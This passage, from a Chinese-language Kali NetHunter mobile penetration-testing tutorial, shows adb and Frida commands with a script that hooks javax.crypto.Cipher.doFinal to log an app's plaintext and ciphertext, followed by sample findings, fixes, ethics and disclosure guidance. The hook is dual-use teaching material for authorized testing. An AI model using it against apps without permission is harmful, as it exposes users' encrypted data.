67. adb shell "/data/local/tmp/frida-server &"
69. # 编写Frida脚本Hook敏感函数
70. # 例如，Hook加密函数：
71. /*
72. Java.perform(function() {
73.     var Crypto = Java.use("javax.crypto.Cipher");
74.    
75.     Crypto.doFinal.implementation = function(input) {
76.         console.log("Cipher.doFinal called");
77.         console.log("Input: " + bytesToHex(input));
78.         
79.         var result = this.doFinal(input);
80.         
81.         console.log("Output: " + bytesToHex(result));
82.         return result;
83.     };
84.    
85.     function bytesToHex(bytes) {
86.         return Array.from(bytes, function(byte) {
87.             return ('0' + (byte & 0xFF).toString(16)).slice(-2);
88.         }).join('');
89.     }
90. });
91. */
93. # 运行Frida脚本
94. frida -U -l hook.js -f com.company.app --no-pause
96. # 5. 生成报告
97. # 将所有发现和结果整理成报告

复制代码

通过测试发现以下安全问题：

1. 应用使用硬编码的API密钥和敏感信息
2. 存在不安全的导出组件，可能导致组件劫持攻击
3. 内容提供者存在SQL注入漏洞，可能导致数据泄露
4. 应用使用不安全的HTTP通信，可能导致中间人攻击
5. 应用使用弱加密算法，可能导致数据解密

1. 移除硬编码的敏感信息，使用安全存储机制
2. 限制导出组件的访问权限，实施适当的访问控制
3. 使用参数化查询防止SQL注入攻击
4. 强制使用HTTPS通信，实施证书锁定
5. 使用强加密算法和安全随机数生成器

7. 安全注意事项和道德规范

7.1 法律和道德考虑

在进行渗透测试时，必须遵守以下法律和道德准则：

1. 获得授权：始终获得目标系统的明确书面授权
2. 遵守法律：确保所有测试活动符合当地法律法规
3. 尊重隐私：仅收集必要的信息，保护个人隐私
4. 避免损害：避免对目标系统造成不必要的损害或中断
5. 保密原则：对测试过程中获取的信息严格保密
6. 专业行为：保持专业态度，避免恶意行为

7.2 负责任披露

如果发现安全漏洞，应遵循负责任披露原则：

1. 首先向受影响方报告漏洞
2. 给予合理的时间修复漏洞
3. 避免公开漏洞细节，直到修复完成
4. 协助受影响方验证修复措施的有效性
5. 在适当的情况下，公开漏洞信息以提高安全意识

7.3 安全最佳实践

在进行渗透测试时，应遵循以下安全最佳实践：

1. 最小权限原则：仅使用完成测试所需的最低权限
2. 隔离测试环境：在隔离的环境中进行测试，避免影响生产系统
3. 记录所有活动：详细记录所有测试活动和结果
4. 保持工具更新：使用最新版本的工具和漏洞数据库
5. 持续学习：保持对新技术和威胁的了解
6. 团队协作：与团队成员分享知识和经验

8. 总结与展望

8.1 本文总结

本文全面介绍了Kali Linux NetHunter的各个方面，从基础环境配置到高级应用技巧。通过学习本文，您应该能够：

• 安装和配置Kali Linux NetHunter
• 使用各种渗透测试工具进行安全评估
• 执行无线网络、Web应用和移动应用的渗透测试
• 分析测试结果并提供安全建议
• 遵守法律和道德准则进行负责任的渗透测试

8.2 未来发展方向

随着技术的不断发展，移动安全测试领域也在不断演进。未来的发展方向可能包括：

1. AI辅助渗透测试：使用人工智能技术自动化漏洞发现和利用
2. 物联网安全测试：扩展NetHunter以支持物联网设备的安全测试
3. 云安全测试：集成云环境安全测试功能
4. 区块链安全测试：开发区块链应用和智能合约的安全测试工具
5. 5G网络安全测试：针对5G网络的安全评估工具和技术

8.3 持续学习资源

为了保持对移动安全测试领域的了解，建议关注以下资源：

1. Kali Linux官方文档：https://www.kali.org/docs/
2. NetHunter官方文档：https://www.kali.org/docs/nethunter/
3. Offensive Security：https://www.offensive-security.com/
4. OWASP移动安全项目：https://owasp.org/www-project-mobile-security/
5. 安全会议和培训：Black Hat, DEF CON, BSides等

通过不断学习和实践，您将成为一名优秀的移动安全测试专家，为保护数字世界做出贡献。